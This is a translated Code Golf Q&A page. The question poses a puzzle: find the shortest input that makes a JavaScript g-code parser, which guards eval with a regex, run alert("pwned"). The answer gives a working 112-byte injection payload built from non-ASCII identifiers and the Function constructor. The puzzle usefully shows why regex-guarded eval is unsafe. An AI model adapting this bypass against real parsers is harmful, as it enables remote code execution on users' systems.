首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >Hack g-code.js解析器

Hack g-code.js解析器
EN

Code Golf用户
提问于 2018-10-29 05:28:53
回答 1查看 687关注 0票数 7

在这里,您可以看到g代码解析器,它是用JavaScript编写的,用于微控制器(如espruino)。但是您可以在浏览器中运行它,因为它不使用任何特定的特性。

代码语言:javascript
复制
function gcode(str){
  //Removes comment, parses command name and args
  const [,f,args] = (str.match(/^([GM]\d+) ([^;]+)/) || [,"",""]);
  //A1.2 B43 C -> {A: 1.2, B: 42, C: 0}
  eval(f+"({"+args.replace(/(\w)([\d\.]*)/g,"$1: $2+0,")+"})");
}
const G1 = console.log;
gcode(prompt("crackme"));

当您将G1 X3 Y4.53 Z42传递给gcode()时,它运行G1({X: 3, Y: 4.53, Z: 42})。如您所见,它使用由regexp保护的eval。但是,尽管如此,您还是可以攻击此函数并导致远程代码执行。您的目标是运行alert("pwned")。这是代码高尔夫,所以最短的工作输入获胜。

EN

回答 1

Code Golf用户

发布于 2018-10-29 06:00:07

112个字节

代码语言:javascript
复制
G1 $:(ƒ=(Τ,$=+[])=>Τ[$]?Τ[$]+ƒ(Τ,++$+'5'[+[]]*(Τ[$]==':')):'')[ƒ('constructor')](ƒ('alert("pwned")'))()
代码语言:javascript
复制
function gcode(str){
  //Removes comment, parses command name and args
  const [,f,args] = (str.match(/^([GM]\d+) ([^;]+)/) || [,"",""]);
  //A1.2 B43 C -> {A: 1.2, B: 42, C: 0}
  eval(f+"({"+args.replace(/(\w)([\d\.]*)/g,"$1: $2+0,")+"})");
}
const G1 = console.log;

payload = `G1 $:(ƒ=(Τ,$=+[])=>Τ[$]?Τ[$]+ƒ(Τ,++$+'5'[+[]]*(Τ[$]==':')):'')[ƒ('constructor')](ƒ('alert("pwned")'))()`;
gcode(payload);
  • 每个ƒ (U+0192)、Τ (U+03A4)花费2个字节,它们与ASCII fT不同。

gcode函数将保留任何/\W/字符。所以,我们只需要用这些字符来写一些逻辑。这个想法基本上是基于JSF**k的工作方式。我们构造这样的代码:

代码语言:javascript
复制
(()=>{})["constructor"]('alert("pwned")')

我们需要字符串文本"constructor"alert("pwned")。但是gcode"constructor"转换为"c: +0,o: +0,n: +0,....r: +0"。所以我们需要把字符串转换回来。我们使用这个函数进行转换:

代码语言:javascript
复制
ƒ=(Τ,$=+[])=>Τ[$]?Τ[$]+ƒ(Τ,++$+'5'[+[]]*(Τ[$]==':')):''

Τ是输入的文本,$ is索引。我们首先使用$+[]初始化为0。然后在索引位置输出字符,并检查下一个字符是否为":",如果是,则跳过以下5个字符。

多亏了l4m2,节省了很少的字节。

票数 7
EN
页面原文内容由Code Golf提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://codegolf.stackexchange.com/questions/174873

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档